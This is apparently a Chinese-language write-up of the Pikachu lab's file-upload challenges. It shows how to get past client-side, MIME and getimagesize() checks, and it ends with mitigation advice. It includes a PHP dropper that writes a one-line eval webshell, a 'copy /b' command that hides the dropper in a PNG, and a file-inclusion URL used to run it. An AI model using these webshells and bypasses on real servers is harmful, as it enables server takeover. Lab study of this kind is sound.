文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。
所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:
--验证文件类型、后缀名、大小;
--验证文件的上传方式;
--对文件进行一定复杂的重命名;
--不要暴露文件上传后的路径;
--等等...
client check(前端检查)
只允许上传图片,先看一下前端的代码,选择文件位置引入checkFileExt()函数来检验上传文件类型
限定上传文件类型为jpg、png、gif三种图片格式
那么我们想要上传php脚本,绕过前端的检测这里提供三种思路:
1.直接在前端删除checkFileExt()函数的引用,实现绕过
上传phpinfo函数的php脚本
访问http://192.168.1.157/pikachu-master/vul/unsafeupload/uploads/phpinfo.php
文件上传成功!
2.BurpSuite抓包修改文件类型
先将php脚本的后缀改为图片格式,放入,上传时开始抓包。
将文件后缀png改回php,放包,成功上传。访问phpinfo成功!
3.修改浏览器设置,关闭浏览器JavaScript解析器
FireFox地址栏输about:config 搜索并找到javascript.enabled并将其关闭(默认开启),关闭后便可直接上传php文件
MIME type unsafe fileupload
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。常见的MIME类型,比如:
超文本标记语言文本.html.html texthtml
普通文本.txt text/plain
RTF文本.rtf application/rtf
GIF图形.gif image/gif
JPEG图形.ipeg.jpg image/jpeg
即web服务端引用mime type校验上传文件类型,我们打开servercheck.php分析一下
发现upload通过调用upload_sick()函数来实现MIME检测功能,其中upload_sick()函数在外部文件uploadfunction.php文件中定义,并通过include_once来引入
WWW\pikachu-master\inc下,定位到uploadfunction.php文件,截取其中关于upload_sick()函数的定义代码,upload_sick()定义了三个参数,分别为$key,$mime,$save_path,其中$key取值为“uploadfile”,代表form表单中<input>的name属性、$mime是一个数组,代表允许MIME类型白名单、$save_path代表文件上传后的存储路径。
只有上传文件的MIME类型包含在预定义的MIME白名单之中时,才允许上传,即只允许上传'image/jpg'、'image/jpeg'、'image/png'这三种MIME类型的文件
当后端检测机制是MIME类型检测时,由于后端是通过HTTP请求头中Content-Type字段获取的,所以一般借助BurpSuite抓包,直接修改HTTP请求中Content-Type类型为图片类型即可。
上传php文件 ,发现Content-Type字段application/octet-stream,寓意着会失败啊
修改Conten-Type字段为image/png,放包
文件上传成功!
getimagesize()
如下所示实现getimagesize()检测的文件是geimagesize.php,找到这个文件进行代码分析。
getimagesize()文件中截取的关键代码片段,可以发现通过调用upload()函数来实现getimagesize()检测功能,其中upload()函数在外部文件uploadfunction.php文件中定义,并通过include_once来引入。
接下来,我们分析具体实现文件类型检测功能的upload()函数,定位到uploadfunction.php文件,截取其中关于upload()函数的定义代码,upload()定义了5个参数,分别为$key,$size,$type,$mime,$save_path,其中$key取值为“uploadfile”,代表form表单中<input>的name属性、$size限制上传文件大小、$type代表允许上传的文件类型白名单,$mime代表允许MIME类型白名单、$save_path代表文件上传后的存储路径
可见,在Pikachu靶场getimagesize检测时,分别依次检测文件大小、检测文件类型、检测文件MIME类型3中方式来实现检测,加强文件上传过滤效果,且在进行文件保存的时候以随机数为文件名进行保存,因此在绕过的时候需要同时绕过这三个检测手段
//进行了严格的验证
function upload($key,$size,$type=array(),$mime=array(),$save_path){
$arr_errors=array(
1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',
2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
3=>'文件只有部分被上传',
4=>'没有文件被上传',
6=>'找不到临时文件夹',
7=>'文件写入失败'
);
// var_dump($_FILES);
if(!isset($_FILES[$key]['error'])){
$return_data['error']='请选择上传文件!';
$return_data['return']=false;
return $return_data;
}
if ($_FILES[$key]['error']!=0) {
$return_data['error']=$arr_errors[$_FILES[$key]['error']];
$return_data['return']=false;
return $return_data;
}
//验证上传方式
if(!is_uploaded_file($_FILES[$key]['tmp_name'])){
$return_data['error']='您上传的文件不是通过 HTTP POST方式上传的!';
$return_data['return']=false;
return $return_data;
}
//获取后缀名,如果不存在后缀名,则将变量设置为空
$arr_filename=pathinfo($_FILES[$key]['name']);
if(!isset($arr_filename['extension'])){
$arr_filename['extension']='';
}
//先验证后缀名
if(!in_array(strtolower($arr_filename['extension']),$type)){//转换成小写,在比较
$return_data['error']='上传文件的后缀名不能为空,且必须是'.implode(',',$type).'中的一个';
$return_data['return']=false;
return $return_data;
}
//验证MIME类型,MIME类型可以被绕过
if(!in_array($_FILES[$key]['type'], $mime)){
$return_data['error']='你上传的是个假图片,不要欺骗我xxx!';
$return_data['return']=false;
return $return_data;
}
//通过getimagesize来读取图片的属性,从而判断是不是真实的图片,还是可以被绕过的
if(!getimagesize($_FILES[$key]['tmp_name'])){
$return_data['error']='你上传的是个假图片,不要欺骗我!';
$return_data['return']=false;
return $return_data;
}
//验证大小
if($_FILES[$key]['size']>$size){
$return_data['error']='上传文件的大小不能超过'.$size.'byte(500kb)';
$return_data['return']=false;
return $return_data;
}
//把上传的文件给他搞一个新的路径存起来
if(!file_exists($save_path)){
if(!mkdir($save_path,0777,true)){
$return_data['error']='上传文件保存目录创建失败,请检查权限!';
$return_data['return']=false;
return $return_data;
}
}
//生成一个新的文件名,并将新的文件名和之前获取的扩展名合起来,形成文件名称
$new_filename=str_replace('.','',uniqid(mt_rand(100000,999999),true));
if($arr_filename['extension']!=''){
$arr_filename['extension']=strtolower($arr_filename['extension']);//小写保存
$new_filename.=".{$arr_filename['extension']}";
}
//将tmp目录里面的文件拷贝到指定目录下并使用新的名称
$save_path=rtrim($save_path,'/').'/';
if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$new_filename)){
$return_data['error']='临时文件移动失败,请检查权限!';
$return_data['return']=false;
return $return_data;
}
//如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去)
$return_data['save_path']=$save_path.$new_filename;
$return_data['filename']=$new_filename;
$return_data['return']=true;
return $return_data;
}
此时后端检测手段丰富,具有很强的过滤效果,无法直接上传php脚本文件。
Getimagesize ( )返回结果中有文件大小和文件类型,用这个函数来获取类型,从而判断是否是图片。
是否可以绕过呢?可以,因为图片头可以被伪造。
图片木马的制作:
方法1 :直接伪造头部GIF89A
方法2.CMD: copy /b kb.png + 2.php 123.png
方法3.使用GIMP (开源的图片修改软件) , 通过增加备注,写入执行命令
测试功能,没有问题,开始制作木马图片。这里使用第二种方法。
准备php脚本2.php
<?php
fputs(fopen('./shell.php','w'),'<?php @eval($_POST[123]) ?>');
?>
进入桌面,先输入命令dir,展示桌面的文件。
可以找到事先准备在桌面上有kb.png的图片文件和2.php的php脚本
输入命令copy /b kb.png + 2.php 123.png,在桌面生成123.png的图片马。
copy /b kb.png + 2.php 123.png
选择图片马进行上传发现上传成功!
确认一下文件上传到的路径和文件名称与回显信息是否一致
利用文件包含漏洞,在图片所在路径下执行图片中的php脚本 ,在文件包含的目录下生成shell.php文件
http://192.168.11.137/pikachu-master/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2022/12/14/522293639931969445a673694980.png&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
再利用蚁剑连接一句话木马shell.php
连接成功!
防范措施:
不要在前端使用JS实施上传限制策略
通过服务端对上传文件进行限制:
1.进行多条件组合检查:比如文件的大小,路径,扩展名,文件类型,文件完整性
2.对上传的文件在服务器上存储时进行重命名(制定合理的命名规则)
3.对服务器端上传文件的目录进行权限控制(比如只读), 限制执行权限带来的危害